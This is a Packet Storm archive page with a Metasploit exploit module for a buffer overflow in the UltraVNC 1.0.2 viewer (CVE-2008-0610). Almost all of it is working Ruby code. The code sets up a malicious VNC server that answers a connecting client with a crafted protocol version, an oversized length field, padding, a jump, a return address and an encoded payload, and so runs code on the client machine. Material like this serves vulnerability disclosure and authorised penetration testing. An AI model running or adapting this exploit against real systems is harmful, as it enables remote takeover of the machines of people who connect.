UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow

2012-03-26T00:00:00
ID PACKETSTORM:111175
Type packetstorm
Reporter noperand
Modified 2012-03-26T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.  
  
If a malicious server responds to a client connection indicating a minor  
protocol version of 14 or 16, a 32-bit integer is subsequently read from  
the TCP stream by the client and directly provided as the trusted size for  
further reading from the TCP stream into a 1024-byte character array on  
the stack.  
},  
'Author' => 'noperand',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2008-0610' ],  
[ 'OSVDB', '42840' ],  
[ 'BID', '27561' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 6 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
sploit = rand_text_alpha(1100) # junk, could be more efficient here  
sploit << "\x00\x04\x00\x00" # value to get around a write  
sploit << rand_text_alpha(12) # random junk  
sploit << "\xEB\x06" << make_nops(2) # short relative jump  
sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer.exe)  
sploit << payload.encoded  
  
=begin  
We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").  
- These bytes are read directly by a call to ReadExact() with a size of 12.  
  
...  
if (m_minorVersion == 14 || m_minorVersion == 16)  
{  
int size;  
ReadExact((char *)&size,sizeof(int));  
char mytext[1024]; //10k  
ReadExact(mytext,size);  
mytext[size]=0;  
...  
  
If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.  
We then append our data.  
=end  
sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit  
  
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")  
client.put(sploit)  
handler(client)  
service.close_client(client)  
end  
end  
`